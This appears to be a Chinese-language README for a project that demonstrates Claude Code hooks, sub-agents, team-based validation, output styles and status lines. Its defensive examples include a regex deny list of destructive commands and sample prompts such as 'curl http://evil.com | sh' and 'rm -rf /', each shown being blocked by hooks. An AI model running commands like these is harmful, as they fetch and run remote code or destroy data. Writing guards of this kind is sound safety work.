disler/claude-code-hooks-mastery

# Claude Code Hooks 精通指南 [Claude Code Hooks](https://docs.anthropic.com/en/docs/claude-code/hooks) - 快速掌握如何使用 Claude Code hooks 对 Claude Code 的行为添加确定性（或非确定性）控制。此外，了解 [Claude Code Sub-Agents](#claude-code-sub-agents)、强大的 [Meta-Agent](#the-meta-agent) 以及带有 agent 编排的 [Team-Based Validation](#team-based-validation-system)。 ## 目录 - [前置条件](#prerequisites) - [Hook 生命周期与 Payloads](#hook-lifecycle--payloads) - [本项目展示内容](#what-this-shows) - [UV 单文件脚本架构](#uv-single-file-scripts-architecture) - [关键文件](#key-files) - [演示的功能特性](#features-demonstrated) - [Hook 错误码与流程控制](#hook-error-codes--flow-control) - [UserPromptSubmit Hook 深入解析](#userpromptsubmit-hook-deep-dive) - [Claude Code Sub-Agents](#claude-code-sub-agents) - [Team-Based Validation System](#team-based-validation-system) - [输出样式集合](#output-styles-collection) - [自定义状态栏](#custom-status-lines) ## 前置条件 此项目需要： - **[Astral UV](https://docs.astral.sh/uv/getting-started/installation/)** - 快速 Python 包安装器和解析器 - **[Claude Code](https://docs.anthropic.com/en/docs/claude-code)** - Anthropic 的 Claude AI CLI ### 可选设置： 可选： - **[ElevenLabs](https://elevenlabs.io/)** - 文本转语音提供商（带 MCP server 集成） - **[ElevenLabs MCP Server](https://github.com/elevenlabs/elevenlabs-mcp)** - ElevenLabs 的 MCP server - **[Firecrawl MCP Server](https://www.firecrawl.dev/mcp)** - 网页抓取和爬虫 MCP server（我最喜欢的抓取器） - **[OpenAI](https://openai.com/)** - 语言模型提供商 + 文本转语音提供商 - **[Anthropic](https://www.anthropic.com/)** - 语言模型提供商 - **[Ollama](https://ollama.com/)** - 本地语言模型提供商 ## Hook 生命周期与 Payloads 此演示捕获所有 13 个 Claude Code hook 生命周期事件及其 JSON payloads： ### Hook 生命周期概览 ``` flowchart TB subgraph SESSION["🟢 Session Lifecycle"] direction TB SETUP[["🔧 Setup
(init/maintenance)"]] START[["▶️ SessionStart
(startup/resume/clear)"]] END[["⏹️ SessionEnd
(exit/sigint/error)"]] end subgraph MAIN["🔄 Main Conversation Loop"] direction TB PROMPT[["📝 UserPromptSubmit"]] CLAUDE["Claude Processes"] subgraph TOOLS["🛠️ Tool Execution"] direction TB PRE[["🔒 PreToolUse"]] PERM[["❓ PermissionRequest"]] EXEC["Tool Executes"] POST[["✅ PostToolUse"]] FAIL[["❌ PostToolUseFailure"]] end subgraph SUBAGENT["🤖 Subagent Lifecycle"] direction TB SSTART[["🚀 SubagentStart"]] SWORK["Subagent Works"] SSTOP[["🏁 SubagentStop"]] end NOTIFY[["🔔 Notification
(Async)"]] STOP[["🛑 Stop"]] end subgraph COMPACT["🗜️ Maintenance"] PRECOMPACT[["📦 PreCompact"]] end SETUP --> START START --> PROMPT PROMPT --> CLAUDE CLAUDE --> PRE PRE --> PERM PERM --> EXEC EXEC --> POST EXEC -.-> FAIL CLAUDE -.-> SSTART SSTART --> SWORK SWORK --> SSTOP POST --> CLAUDE CLAUDE --> STOP CLAUDE -.-> NOTIFY STOP --> PROMPT STOP -.-> END PROMPT -.-> PRECOMPACT PRECOMPACT -.-> PROMPT ``` ### UserPromptSubmit Hook **触发时机：** 用户提交 prompt 后立即触发（在 Claude 处理它之前） **Payload：** `prompt` 文本、`session_id`、时间戳 **增强功能：** Prompt 验证、日志记录、上下文注入、安全过滤 ### PreToolUse Hook **触发时机：** 任何 tool 执行之前 **Payload：** `tool_name`、`tool_input` 参数 **增强功能：** 阻止危险命令（`rm -rf`、访问 `.env`） ### PostToolUse Hook **触发时机：** tool 成功完成后 **Payload：** `tool_name`、`tool_input`、`tool_response` 及其结果 ### Notification Hook **触发时机：** 当 Claude Code 发送通知时（等待输入等） **Payload：** `message` 内容 **增强功能：** TTS 警报 - "Your agent needs your input"（30% 几率包含名字） ### Stop Hook **触发时机：** 当 Claude Code 完成响应时 **Payload：** `stop_hook_active` 布尔标志 **增强功能：** AI 生成的完成消息并通过 TTS 播放（LLM 优先级：OpenAI > Anthropic > Ollama > random） ### SubagentStop Hook **触发时机：** 当 Claude Code subagents（Task tools）完成响应时 **Payload：** `stop_hook_active` 布尔标志 **增强功能：** TTS 播放 - "Subagent Complete" ### PreCompact Hook **触发时机：** Claude Code 执行 compaction 操作之前 **Payload：** `trigger`（"manual" 或 "auto"）、`custom_instructions`（手动时）、session 信息 **增强功能：** Transcript 备份、手动 compaction 的详细反馈 ### SessionStart Hook **触发时机：** 当 Claude Code 启动新 session 或恢复现有 session 时 **Payload：** `source`（"startup"、"resume" 或 "clear"）、session 信息 **增强功能：** 开发上下文加载（git status、最近 issues、上下文文件） ### SessionEnd Hook **触发时机：** 当 Claude Code session 结束时（exit、sigint 或 error） **Payload：** `session_id`、`transcript_path`、`cwd`、`permission_mode`、`reason` **增强功能：** Session 日志记录及可选清理任务（删除临时文件、过期日志） ### PermissionRequest Hook **触发时机：** 当向用户显示权限对话框时 **Payload：** `tool_name`、`tool_input`、`tool_use_id`、session 信息 **增强功能：** 权限审计、只读操作自动允许（Read、Glob、Grep、安全的 Bash） ### PostToolUseFailure Hook **触发时机：** 当 tool 执行失败时 **Payload：** `tool_name`、`tool_input`、`tool_use_id`、`error` 对象 **增强功能：** 带时间戳和完整上下文的结构化错误日志记录 ### SubagentStart Hook **触发时机：** 当 subagent（Task tool）生成时 **Payload：** `agent_id`、`agent_type`、session 信息 **增强功能：** Subagent 生成日志记录及可选 TTS 通知 ### Setup Hook **触发时机：** 当 Claude 进入代码库时或定期触发 **Payload：** `trigger`（"init" 或 "maintenance"）、session 信息 **增强功能：** 通过 `CLAUDE_ENV_FILE` 实现环境持久化、通过 `additionalContext` 注入上下文 ## 本项目展示内容 - **完整的 hook 生命周期覆盖** - 所有 13 个 hook 事件均已实现并记录日志（11/13 已通过自动化测试验证） - **Prompt 级别控制** - UserPromptSubmit 在 Claude 看到 prompts 之前对其进行验证和增强 - **智能 TTS 系统** - AI 生成的音频反馈，具有语音优先级（ElevenLabs > OpenAI > pyttsx3） - **安全增强** - 在多个级别阻止危险命令和敏感文件访问 - **个性化体验** - 使用来自环境变量的工程师名字 - **自动日志记录** - 所有 hook 事件以 JSON 格式记录到 `logs/` 目录 - **聊天 transcript 提取** - PostToolUse hook 将 JSONL transcripts 转换为可读的 JSON 格式 - **基于团队的验证** - Builder/Validator agent 模式配合代码质量 hooks ## UV 单文件脚本架构 此项目利用 **[UV single-file scripts](https://docs.astral.sh/uv/guides/scripts/)** 将 hook 逻辑与主代码库清晰分离。所有 hooks 作为独立的 Python 脚本存放在 `.claude/hooks/` 中，并嵌入依赖声明。 **优势：** - **隔离性** - Hook 逻辑与项目依赖保持分离 - **可移植性** - 每个 hook 脚本内联声明自己的依赖 - **无需虚拟环境管理** - UV 自动处理依赖 - **快速执行** - UV 的依赖解析速度极快 - **自包含** - 每个 hook 都可以独立理解和修改 这种方法确保你的 hooks 在不同环境中保持功能正常，而不会污染主项目的依赖树。 ## 关键文件 - `.claude/settings.json` - Hook 配置及权限 - `.claude/hooks/` - 使用 uv 的各 hook 类型 Python 脚本 - `user_prompt_submit.py` - Prompt 验证、日志记录和上下文注入 - `pre_tool_use.py` - 安全阻止和日志记录 - `post_tool_use.py` - 日志记录和 transcript 转换 - `post_tool_use_failure.py` - 带结构化详情的错误日志记录 - `notification.py` - 日志记录及可选 TTS（--notify 标志） - `stop.py` - AI 生成的完成消息及 TTS - `subagent_stop.py` - 简单的 "Subagent Complete" TTS - `subagent_start.py` - Subagent 生成日志记录及可选 TTS - `pre_compact.py` - Transcript 备份和 compaction 日志记录 - `session_start.py` - 开发上下文加载和 session 日志记录 - `session_end.py` - Session 清理和日志记录 - `permission_request.py` - 权限审计和自动允许 - `setup.py` - 代码库初始化和维护 - `validators/` - 代码质量验证 hooks - `ruff_validator.py` - 通过 Ruff 进行 Python linting（PostToolUse） - `ty_validator.py` - Python 类型检查 - `utils/` - 智能 TTS 和 LLM 工具脚本 - `tts/` - 文本转语音提供商（ElevenLabs、OpenAI、pyttsx3） - `tts_queue.py` - 基于队列的 TTS 管理（防止音频重叠） - `llm/` - 语言模型集成（OpenAI、Anthropic、Ollama） - `task_summarizer.py` - LLM 驱动的任务完成摘要 - `.claude/status_lines/` - 实时终端状态显示 - `status_line.py` - 带 git 信息的基础 MVP - `status_line_v2.py` - 带颜色编码的智能 prompts - `status_line_v3.py` - 带历史记录的 Agent sessions - `status_line_v4.py` - 扩展元数据支持 - `status_line_v5.py` - 带行变更的成本跟踪 - `status_line_v6.py` - 上下文窗口使用条 - `status_line_v7.py` - Session 持续时间计时器 - `status_line_v8.py` - 带 cache 统计的 Token 使用 - `status_line_v9.py` - 极简 powerline 风格 - `.claude/output-styles/` - 响应格式化配置 - `genui.md` - 生成带嵌入样式的精美 HTML - `table-based.md` - 以 markdown 表格组织信息 - `yaml-structured.md` - YAML 配置格式 - `bullet-points.md` - 整洁的嵌套列表 - `ultra-concise.md` - 极简文字，最大速度 - `html-structured.md` - 语义 HTML5 - `markdown-focused.md` - 丰富的 markdown 功能 - `tts-summary.md` - 通过 TTS 的音频反馈 - `.claude/commands/` - 自定义斜杠命令 - `prime.md` - 项目分析和理解 - `plan_w_team.md` - 基于团队的构建/验证工作流 - `crypto_research.md` - 加密货币研究工作流 - `cook.md` - 高级任务执行 - `update_status_line.md` - 动态状态更新 - `.claude/agents/` - Sub-agent 配置 - `crypto/` - 加密货币分析 agents - `team/` - 基于团队的工作流 agents - `builder.md` - 实现 agent（所有 tools） - `validator.md` - 只读验证 agent - `hello-world-agent.md` - 简单的问候示例 - `llm-ai-agents-and-eng-research.md` - AI 研究专家 - `meta-agent.md` - 创建其他 agents 的 agent - `work-completion-summary.md` - 音频摘要生成器 - `logs/` - 所有 hook 执行的 JSON 日志 - `user_prompt_submit.json` - 带验证的用户 prompt 提交 - `pre_tool_use.json` - 带安全阻止的 tool 使用事件 - `post_tool_use.json` - Tool 完成事件 - `post_tool_use_failure.json` - 带错误详情的 tool 失败事件 - `notification.json` - 通知事件 - `stop.json` - 带完成消息的停止事件 - `subagent_stop.json` - Subagent 完成事件 - `subagent_start.json` - Subagent 生成事件 - `pre_compact.json` - 带 trigger 类型的预 compaction 事件 - `session_start.json` - 带 source 类型的 session 开始事件 - `session_end.json` - 带 reason 的 session 结束事件 - `permission_request.json` - 权限请求审计日志 - `setup.json` - 带 trigger 类型的设置事件 - `chat.json` - 可读的对话 transcript（由 --chat 标志生成） - `ai_docs/` - 文档资源 - `cc_hooks_docs.md` - 来自 Anthropic 的完整 hooks 文档 - `claude_code_status_lines_docs.md` - Status line 输入 schema 和配置 - `user_prompt_submit_hook.md` - 全面的 UserPromptSubmit hook 文档 - `uv-single-file-scripts.md` - UV 脚本架构文档 `anthropic_custom_slash_commands.md` - Slash commands 文档 - `anthropic_docs_subagents.md` - Sub-agents 文档 - `ruff.toml` - Python 代码质量的 Ruff linter 配置 - `ty.toml` - Python 类型验证的 Type checker 配置 Hooks 提供对 Claude Code 行为的确定性控制，而不依赖 LLM 决策。 ## 演示的功能特性 - Prompt 验证和安全过滤 - 上下文注入以增强 AI 响应 - 命令日志记录和审计 - 自动 transcript 转换 - 基于权限的 tool 访问控制 - Hook 执行中的错误处理 运行任何 Claude Code 命令，通过 `logs/` 文件查看 hooks 的实际运行效果。 ## Hook 错误码与流程控制 Claude Code hooks 提供强大的机制来控制执行流程，并通过退出码和结构化 JSON 输出提供反馈。 ### 退出码行为 Hooks 通过退出码传递状态和控制流程： | 退出码 | 行为 | 描述 | | --------- | ------------------ | -------------------------------------------------------------------------------------------- | | **0** | 成功 | Hook 成功执行。`stdout` 在 transcript 模式下显示给用户 (Ctrl-R) | | **2** | 阻塞错误 | **关键**：`stderr` 自动反馈给 Claude。请参阅下面的 hook 特定行为 | | **其他** | 非阻塞错误 | `stderr` 显示给用户，执行正常继续 | ### 特定 Hook 的流程控制 每种 hook 类型在阻塞和控制 Claude Code 行为方面具有不同的能力： #### UserPromptSubmit Hook - **可以阻塞 PROMPTS 并添加上下文** - **主要控制点**：在 Claude 处理之前拦截用户 prompts - **退出码 2 行为**：完全阻塞 prompt，向用户显示错误消息 - **用例**：Prompt 验证、安全过滤、上下文注入、审计日志记录 - **示例**：我们的 `user_prompt_submit.py` 记录所有 prompts 并可以验证它们 #### PreToolUse Hook - **可以阻塞 TOOL 执行** - **主要控制点**：在 tool 调用执行之前拦截它们 - **退出码 2 行为**：完全阻塞 tool 调用，向 Claude 显示错误消息 - **用例**：安全验证、参数检查、危险命令预防 - **示例**：我们的 `pre_tool_use.py` 以退出码 2 阻止 `rm -rf` 命令 ``` # 阻止危险命令 if is_dangerous_rm_command(command): print("BLOCKED: Dangerous rm command detected", file=sys.stderr) sys.exit(2) # Blocks tool call, shows error to Claude ``` #### PostToolUse Hook - **无法阻塞（Tool 已执行）** - **主要控制点**：在 tool 完成后提供反馈 - **退出码 2 行为**：向 Claude 显示错误（tool 已运行，无法撤销） - **用例**：结果验证、格式化、清理、日志记录 - **限制**：无法阻止 tool 执行，因为它在完成后触发 #### Notification Hook - **无法阻塞** - **主要控制点**：处理 Claude Code 通知 - **退出码 2 行为**：N/A - 仅向用户显示 stderr，无阻塞能力 - **用例**：自定义通知、日志记录、用户警报 - **限制**：无法控制 Claude Code 行为，纯信息性 #### Stop Hook - **可以阻塞停止** - **主要控制点**：在 Claude Code 尝试完成响应时拦截 - **退出码 2 行为**：阻塞停止，向 Claude 显示错误（强制继续） - **用例**：确保任务完成、最终状态验证使用此机制强制继续 - **注意**：如果控制不当可能导致无限循环 #### SubagentStop Hook - **可以阻塞 SUBAGENT 停止** - **主要控制点**：在 Claude Code subagents 尝试完成时拦截 - **退出码 2 行为**：阻塞 subagent 停止，向 subagent 显示错误 - **用例**：确保 subagent 任务正确完成 - **示例**：我们的 `subagent_stop.py` 记录事件并宣布完成 #### PreCompact Hook - **无法阻塞** - **主要控制点**：在 compaction 操作之前触发 - **退出码 2 行为**：N/A - 仅向用户显示 stderr，无阻塞能力 - **用例**：Transcript 备份、上下文保留、预 compaction 日志记录 - **示例**：我们的 `pre_compact.py` 在 compaction 之前创建 transcript 备份 #### SessionStart Hook - **无法阻塞** - **主要控制点**：在 sessions 开始或恢复时触发 - **退出码 2 行为**：N/A - 仅向用户显示 stderr，无阻塞能力 - **用例**：加载开发上下文、session 初始化、环境设置 - **示例**：我们的 `session_start.py` 加载 git status、最近 issues 和上下文文件 ### 高级 JSON 输出控制 除了简单的退出码，hooks 还可以返回结构化 JSON 以进行复杂的控制： #### 通用 JSON 字段（所有 Hook 类型） ``` { "continue": true, // Whether Claude should continue (default: true) "stopReason": "string", // Message when continue=false (shown to user) "suppressOutput": true // Hide stdout from transcript (default: false) } ``` #### PreToolUse 决策控制 ``` { "decision": "approve" | "block" | undefined, "reason": "Explanation for decision" } ``` - **"approve"**：绕过权限系统，`reason` 显示给用户 - **"block"**：阻止 tool 执行，`reason` 显示给 Claude - **undefined**：正常权限流程，忽略 `reason` #### PostToolUse 决策控制 ``` { "decision": "block" | undefined, "reason": "Explanation for decision" } ``` - **"block"**：自动用 `reason` 提示 Claude - **undefined**：无操作，忽略 `reason` #### Stop 决策控制 ``` { "decision": "block" | undefined, "reason": "Must be provided when blocking Claude from stopping" } ``` - **"block"**：阻止 Claude 停止，`reason` 告诉 Claude 如何继续 - **undefined**：允许正常停止，忽略 `reason` ### 流程控制优先级 当使用多种控制机制时，它们遵循以下优先级： 1. **`"continue": false`** - 优先于所有其他控制 2. **`"decision": "block"`** - 特定 hook 的阻塞行为 3. **退出码 2** - 通过 stderr 进行简单阻塞 4. **其他退出码** - 非阻塞错误 ### 安全实现示例 #### 1. 命令验证 ``` # 阻止危险模式 dangerous_patterns = [ r'rm\s+.*-[rf]', # rm -rf variants r'sudo\s+rm', # sudo rm commands r'chmod\s+777', # Dangerous permissions r'>\s*/etc/', # Writing to system directories ] for pattern in dangerous_patterns: if re.search(pattern, command, re.IGNORECASE): print(f"BLOCKED: {pattern} detected", file=sys.stderr) sys.exit(2) ``` #### 2. 结果验证 ``` # 验证文件操作 if tool_name == "Write" and not tool_response.get("success"): output = { "decision": "block", "reason": "File write operation failed, please check permissions and retry" } print(json.dumps(output)) sys.exit(0) ``` #### 3. 完成验证 ``` # 确保关键任务完成 if not all_tests_passed(): output = { "decision": "block", "reason": "Tests are failing. Please fix failing tests before completing." } print(json.dumps(output)) sys.exit(0) ``` ### Hook 执行环境 - **超时**：每个 hook 60 秒执行限制 - **并行化**：所有匹配的 hooks 并行运行 - **环境**：继承 Claude Code 的环境变量 - **工作目录**：在当前项目目录中运行 - **输入**：通过 stdin 传入的 JSON，包含 session 和 tool 数据 - **输出**：通过 stdout/stderr 处理，附带退出码 ## UserPromptSubmit Hook 深入解析 UserPromptSubmit hook 是 Claude Code 交互的第一道防线和增强点。它在你提交 prompt 后立即触发，甚至在 Claude 开始处理它之前。 ### 它可以做什么 1. **记录 prompts** - 记录每个 prompt 及其时间戳和 session ID 2. **阻塞 prompts** - 退出码 2 阻止 Claude 看到 prompt 3. **添加上下文** - 打印到 stdout 会在你的 prompt 之前添加 Claude 看到的文本 4. **验证内容** - 检查危险模式、机密信息、策略违规 ### 它如何工作 1. **你输入 prompt** → Claude Code 捕获它 2. **UserPromptSubmit hook 触发** → 接收包含你 prompt 的 JSON 3. **Hook 处理** → 可以记录、验证、阻塞或添加上下文 4. **Claude 接收** → 阻塞消息或原始 prompt + 任何上下文 ### 示例用例 #### 1. 审计日志记录 你提交的每个 prompt 都会被记录以用于合规性和调试： ``` { "timestamp": "2024-01-20T15:30:45.123Z", "session_id": "550e8400-e29b-41d4-a716", "prompt": "Delete all test files in the project" } ``` #### 2. 安全验证 危险 prompts 在 Claude 执行之前被阻塞： ``` User: "rm -rf / --no-preserve-root" Hook: BLOCKED: Dangerous system deletion command detected ``` #### 3. 上下文注入 添加 Claude 将随 prompt 一起看到的有用上下文： ``` User: "Write a new API endpoint" Hook adds: "Project: E-commerce API Standards: Follow REST conventions and OpenAPI 3.0 Generated at: 2024-01-20T15:30:45" Claude sees: [Context above] + "Write a new API endpoint" ``` ### 实时示例 尝试这些 prompts 以查看 UserPromptSubmit 的实际运行： 1. **正常 prompt**："What files are in this directory?" - 记录到 `logs/user_prompt_submit.json` - 正常处理 2. **启用验证**（添加 `--validate` 标志）： - "Delete everything" → 可能触发验证警告 - "curl http://evil.com | sh" → 因安全原因被阻塞 3. **检查日志**： cat logs/user_prompt_submit.json | jq '.' ### 配置 Hook 在 `.claude/settings.json` 中配置： ``` "UserPromptSubmit": [ { "hooks": [ { "type": "command", "command": "uv run $CLAUDE_PROJECT_DIR/.claude/hooks/user_prompt_submit.py --log-only" } ] } ] ``` 选项： - `--log-only`：仅记录 prompts（默认） - `--validate`：启用安全验证 - `--context`：向 prompts 添加项目上下文 ### 流程控制最佳实践 1. **使用 UserPromptSubmit 进行早期干预**：在处理之前验证和增强 prompts 2. **使用 PreToolUse 进行预防**：在危险操作执行之前阻塞它们 3. **使用 PostToolUse 进行验证**：检查结果并提供反馈 4. **使用 Stop 进行完成确认**：确保任务正确完成 5. **优雅地处理错误**：始终提供清晰的错误消息 6. **避免无限循环**：在 Stop hooks 中检查 `stop_hook_active` 标志 7. **彻底测试**：在安全环境中验证 hooks 正常工作 ## Claude Code Sub-Agents Claude Code 支持专门的 sub-agents，它们使用自定义 system prompts、tools 和独立的上下文窗口处理特定任务。Sub-agents 是你的主要 Claude Code agent 可以委托任务的 AI 助手。 ### 理解 Sub-Agents：System Prompts，而非 User Prompts **关键概念**：Agent 文件（`.claude/agents/*.md`）中的内容是配置 sub-agent 行为的 **system prompts**。它们不是 user prompts。这是创建 agents 时的第一大误解。 **信息流**： ``` You (User) → Primary Agent → Sub-Agent → Primary Agent → You (User) ``` 1. **你** 向 Claude Code（主要 agent）发出请求 2. **主要 Agent** 分析你的请求并委托给适当的 sub-agent 3. **Sub-Agent** 使用其 system prompt 指令执行任务 4. **Sub-Agent** 将结果报告回主要 agent 5. **主要 Agent** 综合并向你展示结果 **关键点**： - Sub-agents 永远不直接与你通信 - Sub-agents 从零开始，没有对话历史 - Sub-agents 响应主要 agent 的 prompt，而不是你的 - `description` 字段告诉主要 agent 何时使用 sub-agent ### Agent 存储与组织 此代码库演示了各种 agent 配置： **项目 Agents**（`.claude/agents/`）： ``` .claude/agents/ ├── crypto/ # Cryptocurrency analysis agents │ ├── crypto-coin-analyzer-haiku.md │ ├── crypto-coin-analyzer-opus.md │ ├── crypto-coin-analyzer-sonnet.md │ ├── crypto-investment-plays-*.md │ ├── crypto-market-agent-*.md │ ├── crypto-movers-haiku.md │ └── macro-crypto-correlation-scanner-*.md ├── hello-world-agent.md # Simple greeting agent ├── llm-ai-agents-and-eng-research.md # AI research specialist ├── meta-agent.md # Agent that creates agents └── work-completion-summary.md # Audio summary generator ``` **存储层次结构**： - **项目 agents**：`.claude/agents/`（优先级更高，特定于项目） - **用户 agents**：`~/.claude/agents/`（优先级较低，跨所有项目可用） - **格式**：带 YAML frontmatter 的 Markdown 文件 **Agent 文件结构：** ``` --- name: agent-name description: When to use this agent (critical for automatic delegation) tools: Tool1, Tool2, Tool3 # Optional - inherits all tools if omitted color: Cyan # Visual identifier in terminal model: opus # Optional - haiku | sonnet | opus - defaults to sonnet --- # 目的 You are a [role definition]. ## 指令 1. Step-by-step instructions 2. What the agent should do 3. How to report results ## 报告/响应格式 Specify how the agent should communicate results back to the primary agent. ``` Sub-agents 支持： - **任务专业化** - 代码审查者、调试器、测试运行器 - **上下文保留** - 每个 agent 独立运行 - **Tool 限制** - 仅授予必要的权限 - **自动委托** - Claude 主动使用正确的 agent ### 关键工程见解 **需要避免的两个关键错误：** 1. **误解 System Prompt** - 你在 agent 文件中编写的是 *system prompt*，而不是 user prompt。这改变了你构建指令的方式以及 agent 可用的信息。 2. **忽略信息流** - Sub-agents 响应你的主要 agent，而不是你。你的主要 agent 根据你的原始请求提示 sub-agents，sub-agents 向主要 agent 报告，然后主要 agent 向你报告。 **最佳实践：** - 使用 `description` 字段告诉你的主要 agent *何时*以及*如何*提示 sub-agents - 在 descriptions 中包含像 "use PROACTIVELY" 或触发词（例如 "if they say TTS"）这样的短语 - 记住 sub-agents 从零开始没有上下文 - 明确说明它们需要知道什么 - 构建 agents 时遵循 问题 → 解决方案 → 技术 的方法 ### 复杂工作流与 Agent 链 Claude Code 可以智能地将多个 sub-agents 链接在一起以完成复杂任务： 例如： - "首先用 crypto-market-agent 分析市场，然后使用 crypto-investment-plays 寻找机会" - "使用 debugger agent 修复错误，然后让 code-reviewer 检查更改" - "用 meta-agent 生成新 agent，然后在特定任务上测试它" 这种链接允许你构建复杂的工作流，同时保持清晰的关注点分离。 ### Meta-Agent meta-agent（`.claude/agents/meta-agent.md`）是一个专门的 sub-agent，它从描述生成新的 sub-agents。它是 "构建 agents 的 agent" - 这是扩展 agent 开发速度的关键工具。 **为什么 Meta-Agent 很重要：** - **快速 Agent 创建** - 在几分钟内几小时内构建数十个专门的 agents - **一致的结构** - 确保所有 agents 遵循最佳实践和正确格式 - **实时文档** - 拉取最新的 Claude Code 文档以保持功能最新 - **智能 Tool 选择** - 自动确定最小 tool 需求 **使用 Meta-Agent：** ``` # 只需描述您想要的内容 "Build a new sub-agent that runs tests and fixes failures" # Claude Code 会自动委托给 meta-agent # 它将创建一个格式正确的 agent 文件 ``` meta-agent 遵循原则："想办法扩大规模。构建构建事物的事物。"这种复合效应呈指数级加速你的工程能力。 ## Team-Based Validation System 此代码库包含一个强大的构建/验证工作流模式，使用 Claude Code task system 来编排专门的 agent 团队。 ### `/plan_w_team` Meta Prompt `/plan_w_team` 命令（`.claude/commands/plan_w_team.md`）不是普通的 prompt——它具有三个强大的组件： #### 1. 自验证 该 prompt 在其 front matter 中包含嵌入式 hooks，用于验证其自身输出： ``` hooks: stop: - command: "uv run $CLAUDE_PROJECT_DIR/.claude/hooks/validators/validate_new_file.py specs/*.md" - command: "uv run $CLAUDE_PROJECT_DIR/.claude/hooks/validators/validate_file_contains.py" ``` 在 planning agent 完成后，这些 validators 确保： - 在正确的目录中创建了 spec 文件 - 文件包含必需的部分（team orchestration、step-by-step tasks 等） 如果验证失败，agent 会收到反馈并继续工作，直到输出符合标准。 #### 2. Agent 编排 该 prompt 利用 Claude Code 的 task system 来构建和协调 agent 团队： | Task Tool | 用途 | | ------------ | -------------------------------------------------------- | | `TaskCreate` | 创建带有负责人、描述、依赖关系的新任务 | | `TaskUpdate` | 更新状态、添加阻塞项、传达完成 | | `TaskList` | 查看所有任务及其当前状态 | | `TaskGet` | 检索完整的任务详情 | **工作原理：** 1. 主要 agent 创建具有特定负责人（builder/validator）的任务列表 2. 任务可以并行运行或有依赖阻塞项 3. Subagents 完成工作并向主要 agent 报告 4. 主要 agent 在工作完成时实时响应 5. 被阻塞的任务在依赖项完成时自动解除阻塞 这支持更长时间的工作线程，因为 task system 处理协调——不需要 bash sleep 循环。 #### 3. 模板化 `/plan_w_team` 是一个 **模板 meta prompt**——一个以特定、经过验证的格式生成 prompts 的 prompt： ``` ## 计划格式 (嵌入在 meta prompt 中) ### {{PLAN_NAME}} **Task:** {{TASK_DESCRIPTION}} **Objective:** {{OBJECTIVE}} ### Team Orchestration {{TEAM_MEMBERS}} ### 分步任务 {{TASKS}} ``` 生成的计划完全遵循你的工程模式。这是 agentic engineering 和 "vibe coding" 之间的区别——你知道你的 agent 将生成的结果，因为你已经模板化了格式。 ### Team Agents | Agent | 文件 | Tools | 自验证 | 用途 | | ------------- | ------------------- | ------------------------- | ---------------------- | ----------------------------------------------- | | **Builder** | `team/builder.md` | 所有 tools | Ruff + Ty on .py files | 执行实现任务，构建内容 | | **Validator** | `team/validator.md` | 只读（无 Write/Edit） | 无 | 验证 builder 的工作是否满足验收标准 | 这种双 agent 配对增加了计算量以提高对工作正确交付的信任。 ### 代码质量 Validators PostToolUse validators 自动强制执行代码质量： | Validator | 文件 | 触发条件 | 操作 | | --------- | ------------------- | ----------------------- | --------------------- | | **Ruff** | `ruff_validator.py` | Write/Edit on .py files | 遇到 lint 错误时阻塞 | | **Ty** | `ty_validator.py` | Write/Edit on .py files | 遇到类型错误时阻塞 | ### 工作流示例 ``` # 1. 创建一个包含 team orchestration 的计划 /plan_w_team # 用户提示："更新 hooks 文档并添加缺失的状态行" # 编排提示："为每个 hook 创建一组 agent，一个 builder 和一个 validator" # 2. 生成的计划包含： # - 团队成员 (session_end_builder, session_end_validator 等) # - 带有依赖关系的分步任务 # - 验证命令 # 3. 执行计划 /build # 4. 观察 agents 并行工作： # - Builders 实现功能 # - Validators 验证完成情况 # - Task system 协调一切 ``` ### 配置 - `ruff.toml` - Ruff linter 规则 - `ty.toml` - Type checker 设置 - `.claude/agents/team/` - Team agent 定义 ## 输出样式集合 此项目包含一套全面的自定义输出样式（`.claude/output-styles/`），它们改变了 Claude Code 传达响应的方式。有关 output styles 工作原理的完整详情，请参阅 [官方文档](https://docs.anthropic.com/en/docs/claude-code/output-styles)。 | 样式 | 描述 | 最适用于 | | -------------------- | -------------------------------------------------- | ------------------------------------------------------- | | **genui** ⭐ | **生成带嵌入样式的精美 HTML** | **交互式视觉输出、即时浏览器预览** | | **table-based** | 以 markdown 表格组织所有信息 | 比较、结构化数据、状态报告 | | **yaml-structured** | 将响应格式化为 YAML 配置 | 设置、层次结构数据、API 响应 | | **bullet-points** | 带破折号和数字的整洁嵌套列表 | 行动项、文档、任务跟踪 | | **ultra-concise** | 极简文字，最大速度 | 经验丰富的开发者、快速原型设计 | | **html-structured** | 带数据属性的语义 HTML5 | Web 文档、丰富格式 | | **markdown-focused** | 最佳利用所有 markdown 功能 | 复杂文档、混合内容 | | **tts-summary** | 通过 ElevenLabs TTS 宣布任务完成 | 音频反馈、无障碍 | **用法：** 运行 `/output-style [name]` 激活任何样式（例如 `/output-style table-based`） **位置：** - 项目样式：`.claude/output-styles/*.md`（此代码库） - 用户样式：`~/.claude/output-styles/*.md`（全局） Output styles 修改 Claude 的 system prompt 以更改响应格式，而不影响核心功能。每个样式都是一个 markdown 文件，带有定义名称、描述和格式说明的 YAML frontmatter。 ## 自定义状态栏 此项目包含增强的 Claude Code 状态栏，显示实时对话上下文。状态栏在 Claude Code sessions 期间在终端底部提供动态信息。有关完整详情，请参阅 [官方文档](https://docs.anthropic.com/en/docs/claude-code/statusline)。 ### 可用状态栏 **位置：** `.claude/status_lines/` | 版本 | 文件 | 描述 | 功能 | | ------- | ------------------- | ----------------- | --------------------------------------------------------------- | | **v1** | `status_line.py` | 基础 MVP | Git 分支、目录、模型信息 | | **v2** | `status_line_v2.py` | 智能 prompts | 最新 prompt（250 字符）、按任务类型颜色编码 | | **v3** | `status_line_v3.py` | Agent sessions | Agent 名称、模型、最近 3 个 prompts | | **v4** | `status_line_v4.py` | 扩展元数据 | Agent 名称、模型、最新 prompt、自定义键值对 | | **v5** | `status_line_v5.py` | 成本跟踪 | 模型、成本（$）、行变更（+/-）、session 持续时间 | | **v6** | `status_line_v6.py` | 上下文窗口 | 可视化使用条、百分比、剩余 tokens | | **v7** | `status_line_v7.py` | 持续时间计时器 | Session 时间、开始时间、可选结束时间 | | **v8** | `status_line_v8.py` | Token/cache 统计 | 输入/输出 tokens、cache 创建/读取统计 | | **v9** | `status_line_v9.py` | Powerline 极简 | 带 powerline 分隔符的样式化片段、git 分支、已用 % | ### Session 管理 状态栏利用存储在 `.claude/data/sessions/.json` 中的 session 数据： ``` { "session_id": "unique-session-id", "prompts": ["first prompt", "second prompt", ...], "agent_name": "Phoenix", // Auto-generated unique name "extras": { // v4: Custom metadata (optional) "project": "myapp", "status": "debugging", "environment": "prod" } } ``` 